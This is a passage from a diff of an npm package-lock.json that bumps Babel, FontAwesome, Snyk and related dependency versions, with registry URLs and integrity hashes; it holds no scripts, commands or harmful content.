"@babel/plugin-transform-named-capturing-groups-regex": "^7.8.3", - "@babel/plugin-transform-new-target": "^7.8.3", - "@babel/plugin-transform-object-super": "^7.8.3", - "@babel/plugin-transform-parameters": "^7.9.5", - "@babel/plugin-transform-property-literals": "^7.8.3", - "@babel/plugin-transform-regenerator": "^7.8.7", - "@babel/plugin-transform-reserved-words": "^7.8.3", - "@babel/plugin-transform-shorthand-properties": "^7.8.3", - "@babel/plugin-transform-spread": "^7.8.3", - "@babel/plugin-transform-sticky-regex": "^7.8.3", - "@babel/plugin-transform-template-literals": "^7.8.3", - "@babel/plugin-transform-typeof-symbol": "^7.8.4", - "@babel/plugin-transform-unicode-regex": "^7.8.3", - "@babel/preset-modules": "^0.1.3", - "@babel/types": "^7.9.6", - "browserslist": "^4.11.1", - "core-js-compat": "^3.6.2", - "invariant": "^2.2.2", - "levenary": "^1.1.1", - "semver": "^5.5.0" + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.13.15.tgz", + "integrity": "sha512-D4JAPMXcxk69PKe81jRJ21/fP/uYdcTZ3hJDF5QX2HSI9bBxxYw/dumdR6dGumhjxlprHPE4XWoPaqzZUVy2MA==", + "dev": true, + "requires": { + "@babel/compat-data": "^7.13.15", + "@babel/helper-compilation-targets": "^7.13.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-validator-option": "^7.12.17", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.13.12", + "@babel/plugin-proposal-async-generator-functions": "^7.13.15", + "@babel/plugin-proposal-class-properties": "^7.13.0", + "@babel/plugin-proposal-dynamic-import": "^7.13.8", + "@babel/plugin-proposal-export-namespace-from": "^7.12.13", + "@babel/plugin-proposal-json-strings": "^7.13.8", + "@babel/plugin-proposal-logical-assignment-operators": "^7.13.8", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.13.8", + "@babel/plugin-proposal-numeric-separator": "^7.12.13", + "@babel/plugin-proposal-object-rest-spread": "^7.13.8", + "@babel/plugin-proposal-optional-catch-binding": "^7.13.8", + "@babel/plugin-proposal-optional-chaining": "^7.13.12", + "@babel/plugin-proposal-private-methods": "^7.13.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.12.13", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-top-level-await": "^7.12.13", + "@babel/plugin-transform-arrow-functions": "^7.13.0", + "@babel/plugin-transform-async-to-generator": "^7.13.0", + "@babel/plugin-transform-block-scoped-functions": "^7.12.13", + "@babel/plugin-transform-block-scoping": "^7.12.13", + "@babel/plugin-transform-classes": "^7.13.0", + "@babel/plugin-transform-computed-properties": "^7.13.0", + "@babel/plugin-transform-destructuring": "^7.13.0", + "@babel/plugin-transform-dotall-regex": "^7.12.13", + "@babel/plugin-transform-duplicate-keys": "^7.12.13", + "@babel/plugin-transform-exponentiation-operator": "^7.12.13", + "@babel/plugin-transform-for-of": "^7.13.0", + "@babel/plugin-transform-function-name": "^7.12.13", + "@babel/plugin-transform-literals": "^7.12.13", + "@babel/plugin-transform-member-expression-literals": "^7.12.13", + "@babel/plugin-transform-modules-amd": "^7.13.0", + "@babel/plugin-transform-modules-commonjs": "^7.13.8", + "@babel/plugin-transform-modules-systemjs": "^7.13.8", + "@babel/plugin-transform-modules-umd": "^7.13.0", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.12.13", + "@babel/plugin-transform-new-target": "^7.12.13", + "@babel/plugin-transform-object-super": "^7.12.13", + "@babel/plugin-transform-parameters": "^7.13.0", + "@babel/plugin-transform-property-literals": "^7.12.13", + "@babel/plugin-transform-regenerator": "^7.13.15", + "@babel/plugin-transform-reserved-words": "^7.12.13", + "@babel/plugin-transform-shorthand-properties": "^7.12.13", + "@babel/plugin-transform-spread": "^7.13.0", + "@babel/plugin-transform-sticky-regex": "^7.12.13", + "@babel/plugin-transform-template-literals": "^7.13.0", + "@babel/plugin-transform-typeof-symbol": "^7.12.13", + "@babel/plugin-transform-unicode-escapes": "^7.12.13", + "@babel/plugin-transform-unicode-regex": "^7.12.13", + "@babel/preset-modules": "^0.1.4", + "@babel/types": "^7.13.14", + "babel-plugin-polyfill-corejs2": "^0.2.0", + "babel-plugin-polyfill-corejs3": "^0.2.0", + "babel-plugin-polyfill-regenerator": "^0.2.0", + "core-js-compat": "^3.9.0", + "semver": "^6.3.0" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, "@babel/preset-modules": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.3.tgz", - "integrity": "sha512-Ra3JXOHBq2xd56xSF7lMKXdjBn3T772Y1Wet3yWnkDly9zHvJki029tAFzvAAK5cf4YV3yoxuP61crYRol6SVg==", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.4.tgz", + "integrity": "sha512-J36NhwnfdzpmH41M1DrnkkgAqhZaqr/NBdPfQ677mLzlaXo+oDiv1deyCDtgAhz8p328otdob0Du7+xgHGZbKg==", "dev": true, "requires": { "@babel/helper-plugin-utils": "^7.0.0", @@ -1034,23 +2568,23 @@ } }, "@babel/preset-react": { - "version": "7.9.4", - "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.9.4.tgz", - "integrity": "sha512-AxylVB3FXeOTQXNXyiuAQJSvss62FEotbX2Pzx3K/7c+MKJMdSg6Ose6QYllkdCFA8EInCJVw7M/o5QbLuA4ZQ==", + "version": "7.13.13", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.13.13.tgz", + "integrity": "sha512-gx+tDLIE06sRjKJkVtpZ/t3mzCDOnPG+ggHZG9lffUbX8+wC739x20YQc9V35Do6ZAxaUc/HhVHIiOzz5MvDmA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-transform-react-display-name": "^7.8.3", - "@babel/plugin-transform-react-jsx": "^7.9.4", - "@babel/plugin-transform-react-jsx-development": "^7.9.0", - "@babel/plugin-transform-react-jsx-self": "^7.9.0", - "@babel/plugin-transform-react-jsx-source": "^7.9.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-validator-option": "^7.12.17", + "@babel/plugin-transform-react-display-name": "^7.12.13", + "@babel/plugin-transform-react-jsx": "^7.13.12", + "@babel/plugin-transform-react-jsx-development": "^7.12.17", + "@babel/plugin-transform-react-pure-annotations": "^7.12.1" } }, "@babel/runtime": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.9.6.tgz", - "integrity": "sha512-64AF1xY3OAkFHqOb9s4jpgk1Mm5vDZ4L3acHvAml+53nO1XbXLuDodsVpO4OIUsmemlUHMxNdYMNJmsvOwLrvQ==", + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", + "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", "requires": { "regenerator-runtime": "^0.13.4" } @@ -1071,16 +2605,6 @@ } } }, - "@babel/runtime-corejs3": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.9.6.tgz", - "integrity": "sha512-6toWAfaALQjt3KMZQc6fABqZwUDDuWzz+cAfPhqyEnzxvdWOAkjwPNxgF8xlmo7OWLsSjaKjsskpKHRLaMArOA==", - "dev": true, - "requires": { - "core-js-pure": "^3.0.0", - "regenerator-runtime": "^0.13.4" - } - }, "@babel/template": { "version": "7.8.6", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.8.6.tgz", @@ -1130,12 +2654,19 @@ "version": "7.9.6", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.9.6.tgz", "integrity": "sha512-qxXzvBO//jO9ZnoasKF1uJzHd2+M6Q2ZPIVfnFps8JJvXy0ZBbwbNOmE6SGIY5XOY6d1Bo5lb9d9RJ8nv3WSeA==", + "dev": true, "requires": { "@babel/helper-validator-identifier": "^7.9.5", "lodash": "^4.17.13", "to-fast-properties": "^2.0.0" } }, + "@deepcode/dcignore": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@deepcode/dcignore/-/dcignore-1.0.2.tgz", + "integrity": "sha512-DPgxtHuJwBORpqRkPXzzOT+uoPRVJmaN7LR+pmeL6DQM90kj6G6GFUH1i/YpRH8NbML8ZGEDwB9f9u4UwD2pzg==", + "dev": true + }, "@egjs/hammerjs": { "version": "2.0.17", "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", @@ -1156,9 +2687,9 @@ } }, "@emotion/core": { - "version": "10.0.34", - "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.34.tgz", - "integrity": "sha512-Kcs8WHZG1NgaVFQsSpgN07G0xpfPAKUclwKvUqKrYrJovezl9uTz++1M4JfXHrgFVEiJ5QO46hMo1ZDDfvY/tw==", + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.1.1.tgz", + "integrity": "sha512-ZMLG6qpXR8x031NXD8HJqugy/AZSkAuMxxqB46pmAR7ze47MhNJ56cdoX243QPZdGctrdfo+s08yZTiwaUcRKA==", "requires": { "@babel/runtime": "^7.5.5", "@emotion/cache": "^10.0.27", @@ -1226,74 +2757,178 @@ "integrity": "sha512-6U71C2Wp7r5XtFtQzYrW5iKFT67OixrSxjI4MptCHzdSVlgabczzqLe0ZSgnub/5Kp4hSbpDB1tMytZY9pwxxA==" }, "@fortawesome/fontawesome-common-types": { - "version": "0.2.30", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.30.tgz", - "integrity": "sha512-TsRwpTuKwFNiPhk1UfKgw7zNPeV5RhNp2Uw3pws+9gDAkPGKrtjR1y2lI3SYn7+YzyfuNknflpBA1LRKjt7hMg==" + "version": "0.2.35", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.35.tgz", + "integrity": "sha512-IHUfxSEDS9dDGqYwIW7wTN6tn/O8E0n5PcAHz9cAaBoZw6UpG20IG/YM3NNLaGPwPqgjBAFjIURzqoQs3rrtuw==" }, "@fortawesome/fontawesome-svg-core": { - "version": "1.2.30", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.30.tgz", - "integrity": "sha512-E3sAXATKCSVnT17HYmZjjbcmwihrNOCkoU7dVMlasrcwiJAHxSKeZ+4WN5O+ElgO/FaYgJmASl8p9N7/B/RttA==", + "version": "1.2.35", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.35.tgz", + "integrity": "sha512-uLEXifXIL7hnh2sNZQrIJWNol7cTVIzwI+4qcBIq9QWaZqUblm0IDrtSqbNg+3SQf8SMGHkiSigD++rHmCHjBg==", "requires": { - "@fortawesome/fontawesome-common-types": "^0.2.30" + "@fortawesome/fontawesome-common-types": "^0.2.35" } }, "@fortawesome/free-regular-svg-icons": { - "version": "5.14.0", - "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.14.0.tgz", - "integrity": "sha512-6LCFvjGSMPoUQbn3NVlgiG4CY5iIY8fOm+to/D6QS/GvdqhDt+xZklQeERdCvVRbnFa1ITc1rJHPRXqkX5wztQ==", + "version": "5.15.3", + "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.15.3.tgz", + "integrity": "sha512-q4/p8Xehy9qiVTdDWHL4Z+o5PCLRChePGZRTXkl+/Z7erDVL8VcZUuqzJjs6gUz6czss4VIPBRdCz6wP37/zMQ==", "requires": { - "@fortawesome/fontawesome-common-types": "^0.2.30" + "@fortawesome/fontawesome-common-types": "^0.2.35" } }, "@fortawesome/free-solid-svg-icons": { - "version": "5.14.0", - "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.14.0.tgz", - "integrity": "sha512-M933RDM8cecaKMWDSk3FRYdnzWGW7kBBlGNGfvqLVwcwhUPNj9gcw+xZMrqBdRqxnSXdl3zWzTCNNGEtFUq67Q==", + "version": "5.15.3", + "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.15.3.tgz", + "integrity": "sha512-XPeeu1IlGYqz4VWGRAT5ukNMd4VHUEEJ7ysZ7pSSgaEtNvSo+FLurybGJVmiqkQdK50OkSja2bfZXOeyMGRD8Q==", "requires": { - "@fortawesome/fontawesome-common-types": "^0.2.30" + "@fortawesome/fontawesome-common-types": "^0.2.35" } }, "@fortawesome/react-fontawesome": { - "version": "0.1.11", - "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.11.tgz", - "integrity": "sha512-sClfojasRifQKI0OPqTy8Ln8iIhnxR/Pv/hukBhWnBz9kQRmqi6JSH3nghlhAY7SUeIIM7B5/D2G8WjX0iepVg==", + "version": "0.1.14", + "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.14.tgz", + "integrity": "sha512-4wqNb0gRLVaBm/h+lGe8UfPPivcbuJ6ecI4hIgW0LjI7kzpYB9FkN0L9apbVzg+lsBdcTf0AlBtODjcSX5mmKA==", "requires": { "prop-types": "^15.7.2" } }, + "@jest/types": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", + "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "requires": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^15.0.0", + "chalk": "^4.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, "@kunukn/react-collapse": { "version": "1.2.7", "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz", "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==" }, + "@nicolo-ribaudo/chokidar-2": { + "version": "2.1.8-no-fsevents", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.tgz", + "integrity": "sha512-+nb9vWloHNNMFHjGofEam3wopE3m1yuambrrd/fnPc+lFOMB9ROTqQlche9ByFWNkdNqfSgR/kkQtQ8DzEWt2w==", + "dev": true, + "optional": true, + "requires": { + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + } + }, "@nodelib/fs.scandir": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.3.tgz", - "integrity": "sha512-eGmwYQn3gxo4r7jdQnkrrN6bY478C3P+a/y72IJukF8LjB6ZHeB3c+Ehacj3sYeSmUXGlnA67/PmbM9CVwL7Dw==", + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.4.tgz", + "integrity": "sha512-33g3pMJk3bg5nXbL/+CY6I2eJDzZAni49PfJnL5fghPTggPvBd/pFNSgJsdAgWptuFu7qq/ERvOYFlhvsLTCKA==", + "dev": true, "requires": { - "@nodelib/fs.stat": "2.0.3", + "@nodelib/fs.stat": "2.0.4", "run-parallel": "^1.1.9" } }, "@nodelib/fs.stat": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.3.tgz", - "integrity": "sha512-bQBFruR2TAwoevBEd/NWMoAAtNGzTRgdrqnYCc7dhzfoNvqPzLyqlEQnzZ3kVnNrSp25iyxE00/3h2fqGAGArA==" + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.4.tgz", + "integrity": "sha512-IYlHJA0clt2+Vg7bccq+TzRdJvv19c2INqBSsoOLp1je7xjtr7J26+WXR72MCdvU9q1qTzIWDfhMf+DRvQJK4Q==", + "dev": true }, "@nodelib/fs.walk": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.4.tgz", - "integrity": "sha512-1V9XOY4rDW0rehzbrcqAmHnz8e7SKvX27gh8Gt2WgB0+pdzdiLV83p72kZPU+jvMbS1qU5mauP2iOvO8rhmurQ==", + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.6.tgz", + "integrity": "sha512-8Broas6vTtW4GIXTAHDoE32hnN2M5ykgCpWGbuXHQ15vEMqr23pB76e/GZcYsZCHALv50ktd24qhEyKr6wBtow==", + "dev": true, "requires": { - "@nodelib/fs.scandir": "2.1.3", + "@nodelib/fs.scandir": "2.1.4", "fastq": "^1.6.0" } }, + "@octetstream/promisify": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@octetstream/promisify/-/promisify-2.0.2.tgz", + "integrity": "sha512-7XHoRB61hxsz8lBQrjC1tq/3OEIgpvGWg6DKAdwi7WRzruwkmsdwmOoUXbU4Dtd4RSOMDwed0SkP3y8UlMt1Bg==", + "dev": true + }, + "@open-policy-agent/opa-wasm": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@open-policy-agent/opa-wasm/-/opa-wasm-1.2.0.tgz", + "integrity": "sha512-CtUBTnzvDrT0NASa8IuGQTxFGgt2vxbLnMYuTA+uDFxOcA4uK4mGFgrhHJtxUZnWHiwemOvKKSY3BMCo7qiAsQ==", + "dev": true, + "requires": { + "sprintf-js": "^1.1.2", + "utf8": "^3.0.0" + }, + "dependencies": { + "sprintf-js": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", + "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", + "dev": true + } + } + }, "@popperjs/core": { - "version": "2.4.4", - "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.4.4.tgz", - "integrity": "sha512-1oO6+dN5kdIA3sKPZhRGJTfGVP4SWV6KqlMOwry4J3HfyD68sl/3KmG7DeYUzvN+RbhXDnv/D8vNNB8168tAMg==" + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.9.2.tgz", + "integrity": "sha512-VZMYa7+fXHdwIq1TDhSXoVmSPEGM/aa+6Aiq3nVVJ9bXr24zScr+NlKFKC3iPljA7ho/GAZr+d2jOf5GIRC30Q==" }, "@restart/context": { "version": "2.1.4", @@ -1301,348 +2936,704 @@ "integrity": "sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==" }, "@restart/hooks": { - "version": "0.3.25", - "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.25.tgz", - "integrity": "sha512-m2v3N5pxTsIiSH74/sb1yW8D9RxkJidGW+5Mfwn/lHb2QzhZNlaU1su7abSyT9EGf0xS/0waLjrf7/XxQHUk7w==", + "version": "0.3.26", + "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.26.tgz", + "integrity": "sha512-7Hwk2ZMYm+JLWcb7R9qIXk1OoUg1Z+saKWqZXlrvFwT3w6UArVNWgxYOzf+PJoK9zZejp8okPAKTctthhXLt5g==", "requires": { - "lodash": "^4.17.15", - "lodash-es": "^4.17.15" + "lodash": "^4.17.20", + "lodash-es": "^4.17.20" } }, "@sindresorhus/is": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.2.tgz", - "integrity": "sha512-JiX9vxoKMmu8Y3Zr2RVathBL1Cdu4Nt4MuNWemt1Nc06A0RAin9c5FArkhGsyMBWfCu4zj+9b+GxtjAnE4qqLQ==" + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-2.1.1.tgz", + "integrity": "sha512-/aPsuoj/1Dw/kzhkgz+ES6TxG0zfTMGLwuK2ZG00k/iJzYHTLCE8mVU8EPqEOp/lmxPoq1C1C9RYToRKb2KEfg==", + "dev": true }, "@snyk/cli-interface": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.1.tgz", - "integrity": "sha512-pALcfgoY0hAavy/pBlDIqEu+FFC5m+D4bMnCwlQ26mObL/zzxp2+Ohx+HykCIom62u2J94SzAtRLFdm/2TgoOw==", + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.11.0.tgz", + "integrity": "sha512-T3xfDqrEFKclHGdJx4/5+D5F7e76/99f33guE4RTlVITBhy7VVnjz4t/NDr3UYqcC0MgAmiC4bSVYHnlshuwJw==", + "dev": true, "requires": { - "@snyk/dep-graph": "1.19.0", - "@snyk/graphlib": "2.1.9-patch", - "tslib": "^1.9.3" + "@types/graphlib": "^2" + } + }, + "@snyk/cocoapods-lockfile-parser": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/@snyk/cocoapods-lockfile-parser/-/cocoapods-lockfile-parser-3.6.2.tgz", + "integrity": "sha512-ca2JKOnSRzYHJkhOB9gYmdRZHmd02b/uBd/S0D5W+L9nIMS7sUBV5jfhKwVgrYPIpVNIc0XCI9rxK4TfkQRpiA==", + "dev": true, + "requires": { + "@snyk/dep-graph": "^1.23.1", + "@types/js-yaml": "^3.12.1", + "js-yaml": "^3.13.1", + "tslib": "^1.10.0" + } + }, + "@snyk/code-client": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/@snyk/code-client/-/code-client-3.4.0.tgz", + "integrity": "sha512-RY2IftAiWB7tp36Mcq7WiEwqoD8A/mqrD6N7oDWTxBOIqsH0t4djo/UibiWDJotaffO9aXXndOf3iZ/kTt+Rdg==", + "dev": true, + "requires": { + "@deepcode/dcignore": "^1.0.2", + "@snyk/fast-glob": "^3.2.6-patch", + "@types/flat-cache": "^2.0.0", + "@types/lodash.chunk": "^4.2.6", + "@types/lodash.omit": "^4.5.6", + "@types/lodash.union": "^4.6.6", + "@types/micromatch": "^4.0.1", + "@types/sarif": "^2.1.3", + "@types/uuid": "^8.3.0", + "axios": "^0.21.1", + "ignore": "^5.1.8", + "lodash.chunk": "^4.2.0", + "lodash.omit": "^4.5.0", + "lodash.union": "^4.6.0", + "micromatch": "^4.0.2", + "queue": "^6.0.1", + "uuid": "^8.3.2" }, "dependencies": { - "@snyk/dep-graph": { - "version": "1.19.0", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.0.tgz", - "integrity": "sha512-/0phOICMk4hkX2KtZgi+4KNd5G9oYDIlxQDQk+ui2xl4gonPvK6Q5MFzHP7Xet1YY/XoU33ox41i+IO48qZ+zQ==", - "requires": { - "@snyk/graphlib": "2.1.9-patch", - "lodash.isequal": "^4.5.0", - "object-hash": "^2.0.3", - "semver": "^6.0.0", - "source-map-support": "^0.5.19", - "tslib": "^2.0.0" - }, - "dependencies": { - "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" - } + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "ignore": { + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", + "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", + "dev": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.2.3" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": 